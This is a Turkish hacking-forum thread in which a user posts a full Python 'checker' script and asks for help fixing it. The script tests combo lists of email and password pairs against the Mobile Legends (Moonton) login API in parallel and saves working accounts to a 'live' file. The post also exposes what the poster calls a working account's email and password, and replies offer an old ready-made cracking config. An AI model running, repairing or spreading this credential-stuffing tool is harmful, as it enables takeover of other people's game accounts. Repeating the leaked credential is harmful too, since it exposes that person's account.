Question Allah rızası için yardım py ile checker kodlama

Topics only with Question

Alpivx

Platinum
0
Rep
601
Likes
Platinum Cracker
User ID:
648
Joined: Jun 29, 2024
Messages: 119
Point: 14,379
Award
import requests
import hashlib
import json
from concurrent.futures import ThreadPoolExecutor
import os
import time
import argparse
from tkinter import Tk, filedialog

API_URL = 'https://accountmtapi.mobilelegends.com/'

class MoontonChecker:
def __init__(self, threads=20, delay=1, output_live="live.txt", output_die="die.txt"):
self.accounts = []
self.live_accounts = []
self.dead_accounts = []
self.api_url = API_URL
self.threads = threads
self.delay = delay
self.output_live = output_live
self.output_die = output_die

def load_accounts(self):
while True: # Dosya bulunana kadar veya kullanıcı iptal edene kadar devam et
Tk().withdraw()
file_path = filedialog.askopenfilename(
initialdir="/",
title="Hesap Listesi Dosyasını Seçin",
filetypes=(("Metin Dosyaları", "*.txt"), ("Tüm Dosyalar", "*.*"))
)

if not file_path:
print("[-] Dosya seçilmedi. Program sonlandırılıyor.")
exit(1)

try:
with open(file_path, "r", encoding="utf-8") as f:
for line in f:
email, password, *_ = line.strip().replace(":", "|").split("|") + [None]
if email and password:self.accounts.append({"email": email, "password": password})
return # Dosya başarıyla yüklenirse döngüden çık
except FileNotFoundError:
print(f"[-] '{file_path}' dosyası bulunamadı. Lütfen tekrar deneyin.")

def check_account(self, account):
email = account["email"]
password = account["password"]
md5_password = hashlib.md5(password.encode()).hexdigest()
sign = hashlib.md5(f"account={email}&md5pwd={md5_password}&op=login".encode()).hexdigest()
data = {
"op": "login",
"sign": sign,
"params": {
"account": email,
"md5pwd": md5_password
},
"lang": "en",
"device_id": None
}

try:
response = requests.post(self.api_url, json=data)
response.raise_for_status()

# Yanıtın başarılı olup olmadığını kontrol etme yöntemi değiştirildi
if response.status_code == 200 and response.headers.get('Access-Control-Allow-Origin') == 'https://mtacc.mobilelegends.com':
self.live_accounts.append(account)
print(f"[LIVE] {email} | {password}")
else:
self.dead_accounts.append(account)
print(f"[DIE] {email} | {password}")

except requests.exceptions.RequestException as e:
print(f"[-] İstek hatası ({email}): {e}") # Hata mesajını daha açıklayıcı hale getirdik
except json.JSONDecodeError as e:
print(f"[-] Geçersiz JSON yanıtı ({email}): {e}")

def save_results(self):
with open(self.output_live, "w", encoding="utf-8") as f:
for account in self.live_accounts:
f.write(f"{account['email']}|{account['password']}\n")

with open(self.output_die, "w", encoding="utf-8") as f:
for account in self.dead_accounts:
f.write(f"{account['email']}|{account['password']}\n")

def main():
parser = argparse.ArgumentParser(description="Moonton Hesap Denetleyici")
parser.add_argument("-t", "--threads", type=int, default=20, help="İş parçacığı sayısı (varsayılan: 20)")
parser.add_argument("-d", "--delay", type=int, default=1, help="İstekler arası gecikme (saniye, varsayılan: 1)")
parser.add_argument("-ol", "--output-live", default="live.txt", help="Canlı hesapların kaydedileceği dosya")
parser.add_argument("-od", "--output-die", default="die.txt", help="Ölü hesapların kaydedileceği dosya")
args = parser.parse_args()

checker = MoontonChecker(args.threads, args.delay, args.output_live, args.output_die)
checker.load_accounts() # Dosya seçimi için kullanıcıya sor

with ThreadPoolExecutor(max_workers=checker.threads) as executor:
executor.map(checker.check_account, checker.accounts)

checker.save_results()
print("Kontrol tamamlandı. Sonuçlar belirtilen dosyalara kaydedildi.")

if __name__ == "__main__":
main()




KODLAR BUNLAR AMA KEYCHEKİ HEP YANLIŞ YAPIYORUM BU AŞŞA ÇALIŞAN BİR HESAP BIRAKIYORUM
[email protected]:FurkanCck21
site mobilelegends MLBB android ios oyun platformu
web olarak bi tek bunu buldum
yardımcı olursanız çok sevinirim
 
hazır configi var zaten 3 yıllık ama bu api sıkıntıylıdı sanırsam
atarım gün içinde
 
hazır configi var zaten 3 yıllık ama bu api sıkıntıylıdı sanırsam
atarım gün içinde
qral config nerde var gözünü seveyim varsa atarmısın
 
Tüm sayfalar yüklendi.
Home Register
Top